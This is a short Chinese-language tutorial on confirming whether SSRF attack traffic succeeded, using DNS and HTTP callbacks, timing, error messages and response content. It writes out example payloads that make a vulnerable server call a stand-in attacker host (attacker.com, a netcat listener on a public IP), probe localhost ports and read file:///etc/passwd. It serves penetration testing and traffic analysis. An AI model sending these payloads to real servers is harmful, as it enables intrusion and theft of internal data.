如何判断 SSRF 的流量是否攻击成功
1. 基于DNS记录判断
这是最常见也最简单的方法之一,利用 DNS 带外通信来判断
原理: 攻击者在一个可以记录 DNS 解析的域名服务器上,为每个攻击目标生成一个唯一的子域名。然后,在 SSRF 的payload 中,让服务器去请求这个子域名
如何判断成功: 如果攻击成功,服务器会尝试解析这个子域名。攻击者的 DNS 服务器会收到一个来自服务器 IP 的 DNS解析请求,从而证明 SSRF 漏洞确实存在,并且服务器执行了我们的请求
举例:
- 攻击者在
attacker.com
上部署 DNS 服务 - 攻击者构造 payload:
http://vulnerable.com/ssrf?url=http://test12345.attacker.com
- 如果 SSRF 成功,攻击者的DNS服务器会收到来自
vulnerable.com
服务器 IP 的test12345.attacker.com
域名解析请求
2. 基于 HTTP 请求判断
如果漏洞允许,我们可以让服务器去请求一个我们控制的 HTTP 服务器
原理: 攻击者搭建一个 HTTP 服务器,并在 SSRF 的 payload 中让服务器请求该服务器
如何判断成功: 如果 SSRF 成功,攻击者的 HTTP 服务器会收到一个来自目标服务器 IP 的 HTTP 请求。通过查看请求的User-Agent、来源 IP 等信息,可以进一步确认漏洞的存在
举例:
- 攻击者在公网IP
1.1.1.1
上搭建 HTTP 服务(如nc -lvp 80
) - 攻击者构造 payload:
http://vulnerable.com/ssrf?url=http://1.1.1.1:80/check.txt
- 如果 SSRF 成功,攻击者的 HTTP 服务器会收到一个来自
vulnerable.com
服务器的 HTTP 请求
3. 基于时间差判断
这种方法利用服务器处理特定请求所需的时间来判断,常用于盲SSRF场景,即服务器不会返回请求结果
原理: 攻击者构造一个SSRF payload,使其请求一个需要耗费较长时间的资源,例如一个不存在或响应很慢的端口,或者一个非常大的文件
如何判断成功: 如果 SSRF 成功,服务器的处理时间会显著增加。通过对比执行正常请求和 SSRF 请求的响应时间,如果后者明显更长,则可以初步判断 SSRF 攻击成功
举例:
- 构造SSRF payload让服务器请求一个不存在的端口:
http://vulnerable.com/ssrf?url=http://127.0.0.1:65535
- 正常请求响应时间:
100ms
- SSRF请求响应时间:
3000ms
(因为连接超时) - 响应时间明显增加,表明服务器执行了内部请求
4. 基于错误信息判断
一些配置不当的应用程序会在 SSRF 失败时,直接返回服务器内部的错误信息
原理: 攻击者故意构造一个错误的 SSRF 请求,例如请求一个私有 IP 地址或本地文件,并观察应用程序返回的错误信息
如何判断成功: 如果应用程序返回的错误信息包含服务器内部的路径、IP 地址或内部错误代码,如 Failed to connect to 127.0.0.1
或 Permission denied
,则可以确认服务器确实尝试执行了该请求,并且 SSRF 漏洞存在
5. 基于响应内容判断
如果 SSRF 漏洞是可回显的,攻击者可以直接从服务器的响应中判断攻击是否成功
原理: 攻击者构造一个 SSRF payload,让服务器请求内部资源,如 http://127.0.0.1/
或 file:///etc/passwd
如何判断成功: 如果服务器的响应中包含了目标资源的内部内容,例如本地 Web 服务器的欢迎页面、/etc/passwd
文件的内容等,那么 SSRF 攻击成功